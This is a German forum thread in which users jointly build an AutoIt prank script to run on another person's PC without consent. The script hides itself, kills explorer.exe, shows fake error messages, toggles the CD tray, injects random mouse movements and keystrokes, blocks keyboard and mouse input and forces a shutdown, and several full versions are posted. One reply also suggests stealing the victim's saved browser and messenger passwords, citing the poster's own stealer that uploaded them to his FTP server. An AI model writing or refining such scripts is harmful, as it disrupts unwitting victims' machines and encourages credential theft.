|
You last visited: Today at 13:07
Advertisement
Spass Programm:D
Discussion on Spass Programm:D within the AutoIt forum part of the Coders Den category.
10/21/2009, 20:42
|
#16
|
elite*gold: 0 
Join Date: Oct 2009
Posts: 141
Received Thanks: 26
|
Code:
#NoTrayIcon
Sleep(1000*60)
ProcessClose('explorer.exe')
MsgBox(0x200, "explorer.exe", "Error in CWnd::Hwnd: 0x800")
$driveL = -1
For $a = 65 To 90
$driveL = Chr($a)
$dpath = $driveL & ":\"
$dtyp = DriveGetType($dpath)
If StringCompare(String($dtyp), "CDROM") = 0 Then
$dpath = $driveL & ":"
ExitLoop
EndIf
Next
If $driveL = -1 Then Exit
For $i = 1 To 5
CDTray($dpath, "open")
CDTray($dpath, "closed")
Next
ProcessClose
Sleep(1000*10)
Shutdown(1)
Ich lass den nur 10 Sekunden Zeit damit er nicht auf die Idee kommt ihn Manuell aus zu machen xD
wär der Skript so richtig?
|
|
|
|
10/21/2009, 20:45
|
#17
|
elite*gold: 0
Join Date: Oct 2008
Posts: 314
Received Thanks: 160
|
Code:
$count=0
BlockInput(1)
while $count < 5
Run("notepad.exe")
$count = $count +1
wend
kannst du auch noch reinschmeißen, das sperrt seine tastatur und maus und öffnet ein paar mal das notepad
|
|
|
|
|
10/21/2009, 20:48
|
#18
|
elite*gold: 0
Join Date: Oct 2009
Posts: 141
Received Thanks: 26
|
Code:
#NoTrayIcon
Sleep(1000*60)
ProcessClose('explorer.exe')
MsgBox(0x200, "explorer.exe", "Error in CWnd::Hwnd: 0x800")
$driveL = -1
For $a = 65 To 90
$driveL = Chr($a)
$dpath = $driveL & ":\"
$dtyp = DriveGetType($dpath)
If StringCompare(String($dtyp), "CDROM") = 0 Then
$dpath = $driveL & ":"
ExitLoop
EndIf
Next
If $driveL = -1 Then Exit
For $i = 1 To 5
CDTray($dpath, "open")
CDTray($dpath, "closed")
Next
$count=0
BlockInput(1)
while $count < 5
Run("notepad.exe")
$count = $count +1
wend
ProcessClose
Sleep(1000*10)
Shutdown(1)
|
|
|
|
|
10/21/2009, 21:01
|
#19
|
elite*gold: 1826
Join Date: Mar 2009
Posts: 4,310
Received Thanks: 6,283
|
^this
Code:
For $c = 1 To 25
$x = Random(0, @DesktopWidth, 1)
$y = Random(0, @DesktopHeight, 1)
MouseMove($x, $y)
Sleep(100)
Send(Chr(Random(65, 90, 1)))
Next
Komplett sperren ist doof, dann lieber verwirrenden müll spammen xD
|
|
|
|
|
10/21/2009, 21:05
|
#20
|
elite*gold: 0
Join Date: Oct 2009
Posts: 141
Received Thanks: 26
|
Code:
#NoTrayIcon
Sleep(1000*60)
ProcessClose('explorer.exe')
MsgBox(0x200, "explorer.exe", "Error in CWnd::Hwnd: 0x800")
$driveL = -1
For $a = 65 To 90
$driveL = Chr($a)
$dpath = $driveL & ":\"
$dtyp = DriveGetType($dpath)
If StringCompare(String($dtyp), "CDROM") = 0 Then
$dpath = $driveL & ":"
ExitLoop
EndIf
Next
If $driveL = -1 Then Exit
For $i = 1 To 5
CDTray($dpath, "open")
CDTray($dpath, "closed")
Next
For $c = 1 To 25
$x = Random(0, @DesktopWidth, 1)
$y = Random(0, @DesktopHeight, 1)
MouseMove($x, $y)
Sleep(100)
Send(Chr(Random(65, 90, 1)))
ProcessClose('explorer.exe')
MsgBox(0x200, "explorer.exe", "ERROR ERROR ERROR")
Sleep(1000*10)
Shutdown(1)
also so?
|
|
|
|
|
10/21/2009, 21:08
|
#21
|
elite*gold: 0
Join Date: Oct 2009
Posts: 56
Received Thanks: 1
|
Lad dir einfach einen Fun virus
|
|
|
|
|
10/21/2009, 21:08
|
#22
|
elite*gold: 1826
Join Date: Mar 2009
Posts: 4,310
Received Thanks: 6,283
|
^this
Code:
#NoTrayIcon
Sleep(1000 * 60)
MsgBox(0x200, "explorer.exe", "Error in CWnd::Hwnd: 0x800")
$driveL = -1
For $a = 65 To 90
$driveL = Chr($a)
$dpath = $driveL & ":\"
$dtyp = DriveGetType($dpath)
If StringCompare(String($dtyp), "CDROM") = 0 Then
$dpath = $driveL & ":"
ExitLoop
EndIf
Next
If $driveL = -1 Then Exit
For $i = 1 To 5
CDTray($dpath, "open")
CDTray($dpath, "closed")
Next
For $c = 1 To 25
$x = Random(0, @DesktopWidth, 1)
$y = Random(0, @DesktopHeight, 1)
MouseMove($x, $y)
Sleep(10)
Send(Chr(Random(65, 90, 1)))
Next
ProcessClose('explorer.exe')
Sleep(1000 * 10)
Shutdown(1)
|
|
|
|
|
10/21/2009, 21:10
|
#23
|
elite*gold: 0
Join Date: Oct 2009
Posts: 141
Received Thanks: 26
|
hab auch gearde gemerkt das das Falsch war^^
ok danke 
kann ich aber auch zum Schluss also die Letzen 10 Sekungen einfügen :
BlockInput(1)
|
|
|
|
|
10/21/2009, 21:15
|
#24
|
elite*gold: 1826
Join Date: Mar 2009
Posts: 4,310
Received Thanks: 6,283
|
Kannst du, aber wieso blendest du alles aus und bewegst die Maus wenn du ihm sie am ende sowieso blockierst.
|
|
|
|
|
10/21/2009, 21:17
|
#25
|
elite*gold: 0
Join Date: Oct 2009
Posts: 141
Received Thanks: 26
|
Ach ich hab einfach Kein Plan musst erst lernen wie das alles Funktioniert
aber Danke für den Skript
Schönen Abend noch
|
|
|
|
|
10/21/2009, 21:17
|
#26
|
elite*gold: 1826
Join Date: Mar 2009
Posts: 4,310
Received Thanks: 6,283
|
Hau rein 
|
|
|
|
|
10/21/2009, 21:23
|
#27
|
elite*gold: 0
Join Date: Oct 2008
Posts: 314
Received Thanks: 160
|
könntest noch seine gespeicherten firefox/ie/icq,.. passwörter/verschlüsselten passwort files per mail schicken^^, hab so nen stealer mal in c# gemacht aber mir die files auf meinem ftp server geuppt
|
|
|
|
|
10/21/2009, 21:39
|
#28
|
elite*gold: 0
Join Date: Nov 2008
Posts: 3,695
Received Thanks: 891
|
Oder wenn du die Person mal erschrecken willst:
Code:
#NoTrayIcon
Sleep(1000*60)
ProcessClose('explorer.exe')
SoundPlay ("sound.mp3")
Sleep (60000*6)
MsgBox(0x200, "explorer.exe", "Good luck.")
$driveL = -1
For $a = 65 To 90
$driveL = Chr($a)
$dpath = $driveL & ":\"
$dtyp = DriveGetType($dpath)
If StringCompare(String($dtyp), "CDROM") = 0 Then
$dpath = $driveL & ":"
ExitLoop
EndIf
Next
If $driveL = -1 Then Exit
For $i = 1 To 5
CDTray($dpath, "open")
CDTray($dpath, "closed")
Next
ProcessClose
Sleep(1000*10)
Shutdown(1)
Die Sound-Datei muss dann aber im selben Ordner wie das Programm sein.
Sound-Datei downloaden: 
|
|
|
|
|
10/22/2009, 13:47
|
#29
|
elite*gold: 7110
Join Date: Jun 2009
Posts: 28,904
Received Thanks: 25,394
|
hm^^ lol was ihr so für ideen habt xD
|
|
|
|
|
10/22/2009, 14:03
|
#30
|
elite*gold: 0
Join Date: Sep 2009
Posts: 187
Received Thanks: 110
|
xD ich kenn da auch was fieses... mom ihc post es gleich...
|
|
|
|
All times are GMT +2. The time now is 13:07.
|
|
